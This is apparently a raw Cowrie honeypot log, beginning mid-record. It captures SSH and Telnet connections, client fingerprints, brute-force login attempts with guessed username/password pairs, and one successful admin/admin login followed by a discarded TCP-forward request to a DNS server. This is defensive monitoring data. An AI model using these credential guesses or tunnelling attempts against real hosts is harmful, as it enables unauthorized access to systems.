88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:42:46.750268Z","src_ip":"159.203.92.129","session":"da16418e993f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"9ijn0okm","message":"login attempt [ansible/9ijn0okm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:42:46.763096Z","src_ip":"159.203.92.129","session":"da16418e993f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:42:47.770192Z","src_ip":"159.203.92.129","session":"da16418e993f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.10.83.136","src_port":3201,"dst_ip":"159.203.135.109","dst_port":23,"session":"35eb1b333d7a","protocol":"telnet","message":"New connection: 177.10.83.136:3201 (159.203.135.109:23) [session: 35eb1b333d7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:43:06.596575Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52878,"dst_ip":"159.203.135.109","dst_port":22,"session":"af498e15c322","protocol":"ssh","message":"New connection: 159.203.92.129:52878 (159.203.135.109:22) [session: af498e15c322]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:43:32.150330Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:43:32.155780Z","src_ip":"159.203.92.129","session":"af498e15c322","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:43:32.160511Z","src_ip":"159.203.92.129","session":"af498e15c322","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"@WSX1qaz","message":"login attempt [ansible/@WSX1qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:43:32.171824Z","src_ip":"159.203.92.129","session":"af498e15c322","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:43:33.178399Z","src_ip":"159.203.92.129","session":"af498e15c322","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":55684,"dst_ip":"159.203.135.109","dst_port":23,"session":"55343f2b9068","protocol":"telnet","message":"New connection: 185.26.126.47:55684 (159.203.135.109:23) [session: 55343f2b9068]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:43:47.469759Z"}
{"eventid":"cowrie.session.closed","duration":120.00131106376648,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:43:51.565081Z","src_ip":"138.94.179.238","session":"2b1d8e7e5605","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.94.179.238","src_port":21696,"dst_ip":"10.17.0.5","dst_port":23,"session":"def3b635bb93","protocol":"telnet","message":"New connection: 138.94.179.238:21696 (10.17.0.5:23) [session: def3b635bb93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:43:53.231642Z"}
{"eventid":"cowrie.session.closed","duration":120.00162672996521,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:44:00.092945Z","src_ip":"138.94.179.238","session":"b31405b0c354","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.94.179.238","src_port":21941,"dst_ip":"10.17.0.5","dst_port":23,"session":"35184f93f678","protocol":"telnet","message":"New connection: 138.94.179.238:21941 (10.17.0.5:23) [session: 35184f93f678]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:44:01.864487Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38078,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd406d135042","protocol":"ssh","message":"New connection: 159.203.92.129:38078 (159.203.135.109:22) [session: fd406d135042]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:44:15.686730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:44:15.691780Z","src_ip":"159.203.92.129","session":"fd406d135042","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:44:15.696607Z","src_ip":"159.203.92.129","session":"fd406d135042","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"A123456a","message":"login attempt [ansible/A123456a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:44:15.709577Z","src_ip":"159.203.92.129","session":"fd406d135042","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:44:16.716858Z","src_ip":"159.203.92.129","session":"fd406d135042","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.72463130950928,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:44:28.194270Z","src_ip":"185.26.126.47","session":"55343f2b9068","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":50612,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b1635c02e0f","protocol":"ssh","message":"New connection: 80.94.92.182:50612 (10.17.0.5:22) [session: 5b1635c02e0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:44:42.916614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:44:43.139445Z","src_ip":"80.94.92.182","session":"5b1635c02e0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:44:43.142822Z","src_ip":"80.94.92.182","session":"5b1635c02e0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:44:44.466922Z","src_ip":"80.94.92.182","session":"5b1635c02e0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:44:45.777798Z","src_ip":"80.94.92.182","session":"5b1635c02e0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":48298,"dst_ip":"159.203.135.109","dst_port":22,"session":"0baaf0e4fee4","protocol":"ssh","message":"New connection: 171.244.141.86:48298 (159.203.135.109:22) [session: 0baaf0e4fee4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:44:53.836533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:44:53.840880Z","src_ip":"171.244.141.86","session":"0baaf0e4fee4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:44:54.086658Z","src_ip":"171.244.141.86","session":"0baaf0e4fee4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"alex123456","message":"login attempt [alex/alex123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:44:55.105436Z","src_ip":"171.244.141.86","session":"0baaf0e4fee4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:44:56.354055Z","src_ip":"171.244.141.86","session":"0baaf0e4fee4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52932,"dst_ip":"159.203.135.109","dst_port":22,"session":"844251f17c28","protocol":"ssh","message":"New connection: 159.203.92.129:52932 (159.203.135.109:22) [session: 844251f17c28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:44:58.902078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:44:58.906945Z","src_ip":"159.203.92.129","session":"844251f17c28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:44:58.914521Z","src_ip":"159.203.92.129","session":"844251f17c28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ABCabc123","message":"login attempt [ansible/ABCabc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:44:58.928649Z","src_ip":"159.203.92.129","session":"844251f17c28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:44:59.933103Z","src_ip":"159.203.92.129","session":"844251f17c28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00162506103516,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:45:06.598074Z","src_ip":"177.10.83.136","session":"35eb1b333d7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":53764,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0a432633a08","protocol":"telnet","message":"New connection: 185.26.126.47:53764 (159.203.135.109:23) [session: b0a432633a08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:45:29.501232Z"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.112.116","src_port":53618,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee09a6f3e31e","protocol":"ssh","message":"New connection: 14.103.112.116:53618 (159.203.135.109:22) [session: ee09a6f3e31e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:45:30.984915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:45:30.990747Z","src_ip":"14.103.112.116","session":"ee09a6f3e31e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":39388,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f09b75246cf","protocol":"ssh","message":"New connection: 87.251.64.176:39388 (10.17.0.5:22) [session: 3f09b75246cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:45:31.196633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:45:31.201101Z","src_ip":"87.251.64.176","session":"3f09b75246cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:45:31.297132Z","src_ip":"87.251.64.176","session":"3f09b75246cf","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:45:31.585610Z","src_ip":"87.251.64.176","session":"3f09b75246cf","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:45:31.684477Z","session":"3f09b75246cf","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:45:31.785006Z","src_ip":"87.251.64.176","session":"3f09b75246cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:45:31.883286Z","src_ip":"87.251.64.176","session":"3f09b75246cf","protocol":"ssh"}
